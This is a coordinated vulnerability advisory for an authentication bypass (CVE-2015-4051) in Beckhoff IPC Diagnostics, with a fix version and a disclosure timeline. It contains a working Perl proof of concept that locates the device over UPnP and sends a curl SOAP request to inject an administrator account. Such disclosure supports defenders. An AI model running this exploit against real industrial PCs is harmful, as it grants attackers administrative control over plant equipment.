Beckhoff IPC diagnostics < 1.8 : Authentication bypass

CVE number: CVE-2015-4051
Permalink: http://www.thesecurityfactory.be/permalink/beckhoff-authentication-bypass.html
Vendor advisory: http://ftp.beckhoff.com/download/document/IndustPC/Advisory-2015-001.pdf

Info

Beckhoff IPC diagnostics is support software that is preinstalled on all Beckhoff Industrial PC’s (and PLC’s) that are running an embedded Microsoft Windows operating system. The software enables various system diagnostics options, as well the possibility to alter various settings.

Affected version

IPC Diagnostics < Version 1.8

Vulnerability details

Due to a lack of authentication when making a call to /upnpisapi, an unauthenticated attacker is able to perform a variety of actions on the system by sending a specially crafted packet. These actions include rebooting the device or injecting a new user that has admin access rights on both the underlaying embedded Windows and webserver. Further access can be obtained on the system by connecting to SMB / FTP / telnet / … using the injected user.

POC

	#!/usr/bin/perl
	use IO::Socket::INET;
	use strict;
	use warnings;
	if ($#ARGV < 0) { print "Usage: $0 ip\n"; exit(-1); }
	system("clear");
	print "Connecting to UPNP\n";
	my $upnp_req =	"M-SEARCH * HTTP/1.1\r\n" .
		"Host:239.255.255.250:1900\r\n" .
		"ST:upnp:rootdevice\r\n" .
		"Man:\"ssdp:discover\"\r\n" .
		"MX:3\r\n" .
		"\r\n";
	my $ip = $ARGV[0];
	my $socket = new IO::Socket::INET (	PeerAddr => "$ip:1900", Proto => 'udp') or die "ERROR in Socket Creation : $!\n";
	$socket->send($upnp_req);
	my $usn;
	while (1)
	{
		my $data = <$socket>;
		print "$data";
		# Get the USN
		if ($data =~ /^USN:/) { 
			print "\nUSN seen. Trying to get it\n";
			($usn) = $data =~ /^USN:uuid:(.*)::upnp:rootdevice/;
			last;
		}
	}
	print "\n\nUSN found: $usn\n\n";
	print "Creating curl command\n\n";
	my $curl_command = "curl -i -s -k  -X 'POST' " .
 		"   -H 'SOAPAction: urn:beckhoff.com:service:cxconfig:1#Write' -H 'Content-Type: text/xml; charset=utf-8'  " .
		" --data-binary \$'00-1340079872KAAAAAYAAAAAAAAAEgAAAEluamVjdHRoZVNlY3VyaXR5RmFjdG9yeQAA'  " .
		"   'http://"  . $ip . ":5120/upnpisapi?uuid:" .  $usn . "+urn:beckhoff.com:serviceId:cxconfig'";
	print "Executing Curl command\n\n";
	system($curl_command);
	print "User: Inject, Password: theSecurityFactory should be injected";
                                

Solution

This issue has been fixed as of version 1.8.1.0

Timeline

2015-27-01 Vulnerability discovery and creation of PoC
2015-28-01 Vulnerability responsibly reported to vendor
2015-13-02 Second disclosure to vendor
2015-13-02 Vendor response and acknowledgement of vulnerability
2015-15-04 - 2015-15-05 Various communications
2015-21-05 Vendor update and advisory release
2015-04-06 Advisory published in coordination with vendor

Credits

Frank Lycops
Frank.lycops [at] thesecurityfactory.be